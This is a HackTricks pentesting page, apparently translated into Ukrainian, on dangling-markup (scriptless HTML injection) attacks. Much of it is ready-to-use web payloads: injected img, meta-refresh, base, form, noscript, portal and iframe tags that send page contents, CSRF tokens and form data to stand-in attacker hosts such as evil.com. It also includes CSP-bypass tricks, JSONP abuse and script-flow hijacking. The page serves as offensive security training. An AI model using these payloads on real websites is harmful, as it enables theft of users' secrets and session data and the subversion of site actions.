Dangling Markup - HTML scriptless injection
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Резюме
Цю техніку можна використовувати для витягування інформації від користувача, коли знайдено HTML-ін'єкцію. Це дуже корисно, якщо ви не знаходите жодного способу експлуатувати XSS, але можете впровадити деякі HTML-теги.
Це також корисно, якщо деяка секретна інформація зберігається у відкритому тексті в HTML, і ви хочете екстрагувати її з клієнта, або якщо ви хочете ввести в оману виконання деякого скрипта.
Кілька технік, згаданих тут, можна використовувати для обходу деякої Політики безпеки контенту, екстрагуючи інформацію несподіваними способами (HTML-теги, CSS, http-мета теги, форми, base...).
Основні застосування
Вкрадання секретів у відкритому тексті
Якщо ви впровадите <img src='http://evil.com/log.cgi?
під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом img
і наступною лапкою в коді. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання).
Якщо тег img
заборонено (наприклад, через CSP), ви також можете використовувати <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Зверніть увагу, що Chrome блокує HTTP URL-адреси з "<" або "\n" в них, тому ви можете спробувати інші протоколи, такі як "ftp".
Ви також можете зловживати CSS @import
(надішле весь код, поки не знайде ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Ви також можете використовувати <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Ви також можете вставити тег <base
. Вся інформація буде надіслана, поки цитата не буде закрита, але це вимагає деякої взаємодії з користувачем (користувач повинен натиснути на деяке посилання, оскільки тег base змінить домен, на який вказує посилання):
<base target=' <--- Injected
steal me'<b>test</b>
Вкрадення форм
<base href="http://evil.com/" />
Тоді форми, які надсилають дані на шлях (наприклад, <form action='update_profile.php'>
), надсилатимуть дані на зловмисний домен.
Викрадення форм 2
Встановіть заголовок форми: <form action='http://evil.com/log_steal'>
, це перезапише наступний заголовок форми, і всі дані з форми будуть надіслані зловмиснику.
Викрадення форм 3
Кнопка може змінити URL, куди буде надіслана інформація з форми, за допомогою атрибута "formaction":
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
Зловмисник може використовувати це для крадіжки інформації.
Знайдіть приклад цього нападу в цьому звіті.
Крадіжка секретів у відкритому тексті 2
Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:
<input type='hidden' name='review_body' value="
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Ця атака поєднує "Викрадення відкритих текстових секретів" з "Викрадення forms2".
Ви можете зробити те ж саме, інжектуючи форму та тег <option>
. Усі дані до закритого </option>
будуть надіслані:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Впровадження параметрів форми
Ви можете змінити шлях форми та вставити нові значення, щоб виконати несподівану дію:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Викрадення секретів у відкритому тексті через noscript
<noscript></noscript>
Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою chrome://settings/content/javascript).
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкція цього:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Обхід CSP з взаємодією користувача
З цього дослідження portswiggers ви можете дізнатися, що навіть з найбільш обмежених середовищ CSP ви все ще можете екстрагувати дані з деякою взаємодією користувача. У цьому випадку ми будемо використовувати payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Зверніть увагу, що ви попросите жертву натиснути на посилання, яке перенаправить його на payload, контрольований вами. Також зверніть увагу, що атрибут target
всередині тегу base
міститиме HTML контент до наступної одинарної лапки.
Це зробить так, що значення window.name
, якщо посилання буде натиснуто, буде всім цим HTML контентом. Тому, оскільки ви контролюєте сторінку, на яку жертва переходить, натискаючи на посилання, ви можете отримати доступ до window.name
і екстрактувати ці дані:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleading script workflow 1 - HTML namespace attack
Вставте новий тег з id всередині HTML, який перезапише наступний, і з значенням, яке вплине на потік скрипта. У цьому прикладі ви вибираєте, з ким буде поділено інформацію:
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Введення в оману сценарію 2 - Атака на простір імен сценарію
Створіть змінні всередині простору імен javascript, вставляючи HTML-теги. Потім ця змінна вплине на потік програми:
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
Зловживання JSONP
Якщо ви знайдете інтерфейс JSONP, ви зможете викликати довільну функцію з довільними даними:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Або ви навіть можете спробувати виконати деякий javascript:
<script src="/search?q=a&call=alert(1)"></script>
Зловживання iframe
Дочірній документ має можливість переглядати та змінювати властивість location
свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у iframe, який може перенаправити клієнта на довільну сторінку:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Це можна пом'якшити за допомогою чогось на кшталт: sandbox=' allow-scripts allow-top-navigation'
Iframe також може бути зловжито для витоку чутливої інформації з іншої сторінки використовуючи атрибут імені iframe. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, яка змушує чутливу інформацію з'являтися всередині атрибута імені iframe, а потім отримати це ім'я з початкового iframe і витікати його.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
Для отримання додаткової інформації перевірте https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta зловживання
Ви можете використовувати meta http-equiv
для виконання кількох дій, таких як встановлення Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
або виконання перенаправлення (через 5 секунд у цьому випадку): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Це можна уникнути за допомогою CSP щодо http-equiv ( Content-Security-Policy: default-src 'self';
, або Content-Security-Policy: http-equiv 'self';
)
Новий <portal HTML тег
Ви можете знайти дуже цікаве дослідження щодо вразливостей, які можна експлуатувати, тегу <portal тут.
На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome за адресою chrome://flags/#enable-portals
, інакше він не буде працювати.
<portal src='https://attacker-server?
HTML Leaks
Не всі способи витоку з'єднання в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Це мікс між dangling markup і XS-Leaks. З одного боку, вразливість дозволяє впроваджувати HTML (але не JS) на сторінці того ж походження, що й та, яку ми будемо атакувати. З іншого боку, ми не будемо атакувати безпосередньо сторінку, на якій можемо впроваджувати HTML, а іншу сторінку.
XS-Search/XS-Leaks
XS-Search орієнтовані на екстракцію інформації з крос-доменів, зловживаючи бічними каналами атак. Тому це інша техніка, ніж Dangling Markup, однак деякі з технік зловживають включенням HTML тегів (з виконанням JS і без), як CSS Injection або Lazy Load Images.
Brute-Force Detection List
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.